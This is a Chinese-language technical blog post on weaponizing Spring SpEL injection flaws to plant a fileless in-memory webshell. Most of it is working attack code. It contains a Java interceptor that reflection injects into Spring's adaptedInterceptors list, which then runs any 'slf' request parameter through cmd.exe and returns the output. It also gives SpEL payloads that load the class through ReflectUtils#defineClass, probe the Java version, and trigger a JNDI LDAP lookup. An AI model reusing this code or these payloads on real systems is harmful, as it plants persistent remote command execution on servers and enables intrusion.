通过对路由的调试,发现AbstractHandlerMapping.class#getHandlerExecutionChain中会将符合条件的拦截器注册到当前的request handle
其中adaptedInterceptors属性中存放所有注册过的拦截器,也是我们注入内存马的过程中需要获取的关键属性。思路很简单,将拦截类注册进adaptedInterceptors,在进入controller处理前能够执行注册的恶意拦截器实现内存马
理论可行,调试过程中将自定义拦截器加载进adaptedInterceptors后成功在控制台中打印出自定义消息内容
对Spring源码进行了简单分析,在Dispatcher进行初始化时,使用了WebApplicationContextUtils#getWebApplicationContext
工具类获取了WebApplicationContext,这也是下面我们用到获取context的方法
LiveBeansView#applicationContexts也存放了相关context。
相关研究文章:https://landgrey.me/blog/12
由于大部分场景会使用Spel进行注入,为了payload更简便就将注入过程放在了构造函数,可以直接用newinstance触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
import com.example.springbootbasestudy.Inteceptor.Test2Inteceptor;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.ArrayList;
public class TestClass implements HandlerInterceptor{
public TestClass() throws NoSuchFieldException, IllegalAccessException {
HttpServletRequest request = ((ServletRequestAttributes)((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes())).getRequest();
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(request.getServletContext());
DispatcherServlet dispatcherServlet = (DispatcherServlet) context.getBean("dispatcherServlet");
RequestMappingHandlerMapping requestMappingHandlerMapping = (RequestMappingHandlerMapping) dispatcherServlet.getHandlerMappings().get(0);
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(requestMappingHandlerMapping);
adaptedInterceptors.add(this);
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try{
String data = request.getParameter("slf");
if(data!=null){
Process process = Runtime.getRuntime().exec("cmd.exe /c "+data);
InputStream inputStream = process.getInputStream();
InputStreamReader reader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(reader);
String res = "";
String tmpres;
while((tmpres = bufferedReader.readLine())!=null){
res += tmpres;
}
response.getWriter().write(";"+res+";");
}
}catch (Exception e){
return true;
}
return true;
}
}
|
前面简单讲了注入内存马的流程和相关原理,由于每年都会有关于spring的cve,且大多是基于spel解析问题导致的,所以这部分主要用来实现spring spelpayload下的内存马武器化实现
由于对spel的使用并不熟练,所以我暂时无法构造像java源码类的payload,根据之前的学习,ClassLoader中的#defineClass可以解决spel难以实现多条逻辑拼接的问题。
通过idea全局查找,可以很快的找出符合大多数环境的加载器org.springframework.cglib.core.ReflectUtils#defineClass
构造spel payload如下
1
|
T(org.springframework.cglib.core.ReflectUtils).defineClass("TestClass",T(java.util.Base64).getDecoder().decode(""),T(java.lang.ClassLoader).getSystemClassLoader()).newInstance()
|
在历史spring爆出过的CVE中,不乏有一些是基于header头中进行传入payload的情况,这时候想要通过字节码直接注入内存马或者其他操作就很不方便,因为spring对header长度有限制。应对这种情况可以考虑使用jndi注入实现目标,但也有一个最大的条件限制,那就是jdk版本需要符合jndi注入的条件。
1
|
T(java.lang.System).getProperty("java.version")
|
同样可以根据这个方法获取其他系统信息
确认符合jndi注入条件(版本)后,就可以进行任意操作了
1
|
T(javax.naming.InitialContext).doLookup("__LDAP_PAYLOAD__")
|
同样也可以注入内存马